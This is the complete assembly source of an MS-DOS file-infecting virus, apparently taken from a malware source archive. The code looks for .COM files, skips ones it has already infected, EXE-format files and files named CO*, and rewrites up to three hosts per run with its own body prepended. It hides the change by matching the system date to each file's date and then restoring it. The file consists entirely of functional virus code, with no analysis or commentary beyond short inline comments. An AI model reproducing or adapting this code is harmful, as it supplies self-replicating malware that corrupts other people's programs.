MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bjec-9.asm

.model	tiny
.code
org     100h
kkk:
	nop			; ID
count	db	90h		; ID

	mov	cx,80h
	mov	si,0080h
	mov	di,0ff7fh
	rep	movsb		; save param

	lea	ax,begp		; begin prog
	mov	cx,ax
        sub     ax,100h
        mov     ds:[0fah],ax   ; len VIR
	add	cx,fso
        mov     ds:[0f8h],cx   ; begin buffer W
        ADD     CX,AX
        mov     ds:[0f6h],cx   ; begin buffer R

        mov     cx,ax
	lea	si,kkk
        mov     di,ds:[0f8h]
RB:     REP     MOVSB           ; move v

	mov	al,3		; inf. only 3 file
	mov	count,al

	mov	ah,2ah
	int	21h
	mov	ds:[0f2h],dx	;
	mov	ds:[0f4h],cx	; save system date

        stc

        LEA     DX,FFF
        MOV     AH,4EH
        MOV     CX,20H
        INT     21H		;  find first

	or	ax,ax
	jz	LLL
	jmp	done

LLL:
	MOV     AH,2FH
        INT     21H		; get DTA

	mov	ax,es:[bx+1ah]
        mov     ds:[0fch],ax   ; size
	add	bx,1eh
        mov     ds:[0feh],bx   ; point to name

	mov	ax,'OC'		; "CO"
	sub	ax,ds:[009eh]
	jne	cont0		; if file name CO*.com then skip
	jmp	fin

cont0:
	add	ax,180h		; if new len file + len VIR + 180h > FFF0
	add	ax,ds:[0fah]	;    then skip this file
	add	ax,fso
	cmp	ax,0fff0h
	jna	cont2
	jmp	fin

cont2:
	mov	cx,ds:[98h]
	and	cx,001fh
	mov	dl,cl
	mov	ax,ds:[98h]
	and	ax,01e0h
	mov	cl,5
	sar	ax,cl
	mov	dh,al
	mov	ax,ds:[98h]
	and	ax,0fe00h
	mov	cl,9
	sar	ax,cl
	mov	cx,ax
	add	cx,1980
	mov	ah,2bh
	int	21h		; set system time

	clc
	mov	ax,3d02h
	mov	dx,bx
	int	21h		; open file

	mov	bx,ax
	mov	ah,3fh
        mov     cx,ds:[0fch]
        mov     dx,ds:[0f6h]
	int	21h		; read file

	mov	bx,dx
	mov	ax,[bx]
	cmp	ax,9090h
	je	fin		; if file inf. then skip this file
	cmp	ax,'ZM'
	je	fin		; if file .COM is EXE then skip

	mov	di,dx
	mov	cx,ds:[0fch]
NEWS:
        or      cx,cx
        js      cont
        mov     al,'M'
	repne	scasb
        jne     cont
	mov	al,'Z'
	cmp	es:[di],al
	je	fin		; if converted then skip
        jmp     news

cont:
        MOV     AX,ds:[0fch]
        mov     bx,ds:[0f6h]
        mov     [bx-2],ax      ; correct old len

	mov	ah,3ch
	mov	cx,00h
        mov     dx,ds:[0feh]   ; point to name
	clc
	int	21h		; create file

	mov	bx,ax		; #
	mov	ah,40h
        mov     cx,ds:[0fch]
        add     cx,ds:[0fah]
        mov     DX,ds:[0f8h]
	int	21h		; write file


	mov	ah,3eh
	int	21h		;close file

	dec	count
	jz	done

FIN:
	stc
	mov	ah,4fh
	int	21h		; find next

	or	ax,ax
	jnz	done

        JMP     lll

DONE:
	mov	dx,ds:[0f2h]
	mov	cx,ds:[0f4h]
	mov	ah,2bh
	int	21h

	mov	cx,80h
	mov	si,0ff7fh
	mov	di,0080h
	rep	movsb		; restore param

        MOV     AX,0A4F3H
        mov     ds:[0fff9h],ax
	mov	al,0eah
	mov	ds:[0fffbh],al
	mov	ax,100h
	mov	ds:[0fffch],ax	; remove REP MOVSB and FAR JMP cs:0100

	lea	si,begp
	lea	di,kkk
	mov	ax,cs
	mov	ds:[0fffeh],ax
	mov	kk,ax
	mov	cx,fso

	db	0eah
        dw      0fff9h
kk	dw	0000h

fff	db	'*?.com',0
fso	dw	0005h	; source len file


begp:
	MOV     AX,4C00H
	int     21h		; exit

end	kkk